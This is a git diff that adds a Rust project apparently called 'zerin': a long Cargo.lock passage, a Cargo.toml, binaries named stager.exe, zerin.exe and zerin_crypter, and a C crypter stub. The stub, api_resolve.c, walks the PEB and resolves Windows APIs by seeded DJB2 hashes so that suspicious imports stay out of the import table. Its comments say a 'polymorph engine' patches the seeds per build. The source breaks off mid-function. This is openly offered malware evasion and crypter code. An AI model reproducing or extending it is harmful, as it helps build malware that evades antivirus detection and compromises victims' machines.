"tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e9cd434a998747dd2c4276bc96ee2e0c7a2eadf3cae88e52be55a05fa9053f5" +dependencies = [ + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "http-body-util", + "http-range-header", + "httpdate", + "mime", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "tungstenite" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ef1a641ea34f399a848dea702823bbecfb4c486f911735368f1f137cb8257e1" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand", + "sha1", + "thiserror", + "url", + "utf-8", +] + +[[package]] +name = "tungstenite" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18e5b8366ee7a95b16d32197d0b2604b43a0be89dc5fac9f8e96ccafbaedda8a" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand", + "sha1", + "thiserror", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = "unicase" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbc4bc3a9f746d862c45cb89d705aa10f187bb96c76001afab07a0d35ce60142" + +[[package]] +name = "unicode-bidi" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-normalization" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd4f6878c9cb28d874b009da9e8d183b5abc80117c40bbd187a1fde336be6e8" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-properties" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7df058c713841ad818f1dc5d3fd88063241cc61f49f5fbea4b951e8cf5a8d71d" + +[[package]] +name = "unicode-segmentation" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9629274872b2bfaf8d66f5f15725007f635594914870f65218920345aa11aa8c" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "unicode_categories" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39ec24b3121d976906ece63c9daad25b85969647682eee313cb5779fdd69e14e" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "uuid" +version = "1.23.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ac8b6f42ead25368cf5b098aeb3dc8a1a2c05a3eee8a9a1a68c640edbfc79d9" +dependencies = [ + "getrandom 0.4.2", + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.2+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf938a0bacb0469e83c1e148908bd7d5a6010354cf4fb73279b7447422e3a89" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eeff24f84126c0ec2db7a449f0c2ec963c6a49efe0698c4242929da037ca28ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d08065faf983b2b80a79fd87d8254c409281cf7de75fc4b773019824196c904" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.117", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.118" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd04d9e306f1907bd13c6361b5c6bfc7b3b3c095ed3f8a9246390f8dbdee129" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags", + "hashbrown 0.15.5", + "indexmap", + "semver", +] + +[[package]] +name = "webpki" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed63aea5ce73d0ff405984102c42de94fc55a6b75765d621c65262469b3c9b53" +dependencies = [ + "ring", + "untrusted", +] + +[[package]] +name = "whoami" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d4a4db5077702ca3015d3d02d74974948aba2ad9e12ab7df718ee64ccd7e97d" +dependencies = [ + "libredox", + "wasite", +] + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck 0.5.0", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck 0.5.0", + "indexmap", + "prettyplease", + "syn 2.0.117", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn 2.0.117", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core", + "serde", + "zeroize", +] + +[[package]] +name = "yasna" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e17bb3549cc1321ae1296b9cdc2698e2b6cb1992adfa19a8c72e5b7a738f44cd" +dependencies = [ + "time", +] + +[[package]] +name = "yoke" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abe8c5fda708d9ca3df187cae8bfb9ceda00dd96231bed36e445a1a48e66f9ca" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zerin" +version = "1.0.0" +dependencies = [ + "anyhow", + "argon2", + "axum", + "base64 0.21.7", + "bytes", + "chacha20poly1305", + "chrono", + "dashmap", + "flate2", + "hex", + "hkdf", + "hmac", + "hyper", + "hyper-util", + "rand", + "rcgen", + "rustls", + "serde", + "serde_json", + "sha2", + "sqlx", + "tempfile", + "thiserror", + "tokio", + "tokio-rustls", + "tokio-tungstenite 0.21.0", + "tower 0.4.13", + "tower-http", + "tracing", + "tracing-subscriber", + "uuid", + "walkdir", + "webpki", + "x25519-dalek", + "zip", +] + +[[package]] +name = "zerocopy" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerofrom" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69faa1f2a1ea75661980b013019ed6687ed0e83d069bc1114e2cc74c6c04c4df" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85a5b4158499876c763cb03bc4e49185d3cccbabb15b33c627f7884f43db852e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zip" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" +dependencies = [ + "aes", + "byteorder", + "bzip2", + "constant_time_eq", + "crc32fast", + "crossbeam-utils", + "flate2", + "hmac", + "pbkdf2", + "sha1", + "time", + "zstd", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" + +[[package]] +name = "zstd" +version = "0.11.2+zstd.1.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20cc960326ece64f010d2d2107537f26dc589a6573a316bd5b1dba685fa5fde4" +dependencies = [ + "zstd-safe", +] + +[[package]] +name = "zstd-safe" +version = "5.0.2+zstd.1.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d2a5585e04f9eea4b2a3d1eca508c4dee9592a89ef6f450c11719da0726f4db" +dependencies = [ + "libc", + "zstd-sys", +] + +[[package]] +name = "zstd-sys" +version = "2.0.16+zstd.1.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e19ebc2adc8f83e43039e79776e3fda8ca919132d68a1fed6a5faca2683748" +dependencies = [ + "cc", + "pkg-config", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..eb19c35 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,45 @@ +[package] +name = "zerin" +version = "1.0.0" +edition = "2021" + +[[bin]] +name = "zerin" +path = "src/main.rs" + +[dependencies] +axum = { version = "0.7", features = ["ws"] } +tokio = { version = "1", features = ["full"] } +tokio-rustls = "0.25" +tokio-tungstenite = "0.21" +sqlx = { version = "0.7", features = ["runtime-tokio", "postgres", "chrono"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +tracing = "0.1" +tracing-subscriber = { version = "0.3", features = ["env-filter"] } +tower = "0.4" +tower-http = { version = "0.5", features = ["cors", "fs"] } +hyper = "1" +hyper-util = { version = "0.1", features = ["tokio"] } +rustls = "0.22" +rcgen = "0.12" +webpki = "0.22" +rand = "0.8" +sha2 = "0.10" +hkdf = "0.12" +hmac = "0.12" +x25519-dalek = "2" +chacha20poly1305 = "0.10" +base64 = "0.21" +chrono = { version = "0.4", features = ["serde"] } +dashmap = "5" +bytes = "1" +anyhow = "1" +thiserror = "1" +hex = "0.4" +flate2 = "1" +zip = "0.6" +walkdir = "2" +tempfile = "3" +uuid = { version = "1", features = ["v4"] } +argon2 = "0.5" diff --git a/bin/stager.exe b/bin/stager.exe new file mode 100755 index 0000000..fe673af Binary files /dev/null and b/bin/stager.exe differ diff --git a/bin/zerin.exe b/bin/zerin.exe new file mode 100755 index 0000000..0e9f029 Binary files /dev/null and b/bin/zerin.exe differ diff --git a/bin/zerin_crypter b/bin/zerin_crypter new file mode 100755 index 0000000..edcb1b5 Binary files /dev/null and b/bin/zerin_crypter differ diff --git a/crypter_stubs/api_resolve.c b/crypter_stubs/api_resolve.c new file mode 100755 index 0000000..0952f68 --- /dev/null +++ b/crypter_stubs/api_resolve.c @@ -0,0 +1,245 @@ +/** + * api_resolve.c -- PEB walking + PE export table hash resolution + * + * Resolves Win32 API addresses at runtime via DJB2 hash comparison, + * eliminating suspicious imports from the IAT. Hash seed and constants + * are patched per-build by the polymorph engine. + */ + +#include +#include +#include "api_resolve.h" + +/* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */ + +typedef struct _AR_LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +} AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY; + +typedef struct _AR_PEB_LDR_DATA { + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; +} AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA; + +typedef struct _AR_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2; +#ifdef _WIN64 + BYTE Reserved3[4]; +#endif + LPVOID Reserved4[2]; + PAR_PEB_LDR_DATA Ldr; +} AR_PEB, *PAR_PEB; + +/* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */ + +#define API_HASH_SEED 0xDEADBEEF + +/* ── Global API table ──────────────────────────────────────────── */ + +ApiTable g_api; + +/* ── Hash functions ────────────────────────────────────────────── */ + +static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) { + DWORD hash = API_HASH_SEED; + USHORT count = len_bytes / sizeof(WCHAR); + for (USHORT i = 0; i < count; i++) { + WCHAR c = str[i]; + if (c >= L'A' && c <= L'Z') c += 0x20; + hash = hash * 33 + (DWORD)c; + } + return hash; +} + +static DWORD djb2_hash_ascii(const char *str) { + DWORD hash = API_HASH_SEED; + while (*str) { + hash = hash * 33 + (unsigned char)*str; + str++; + } + return hash; +} + +/* ── PEB walking: find module base by hash ─────────────────────── */ + +static void *peb_get_module(DWORD hash) { +#ifdef _WIN64 + PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr; +#else + PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr; +#endif + + PAR_LDR_DATA_TABLE_ENTRY first = + (PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink; + PAR_LDR_DATA_TABLE_ENTRY entry = first; + + do { + if (entry->BaseDllName.Buffer) { + DWORD h = djb2_hash_wide_lower( + entry->BaseDllName.Buffer, + entry->BaseDllName.Length + ); + if 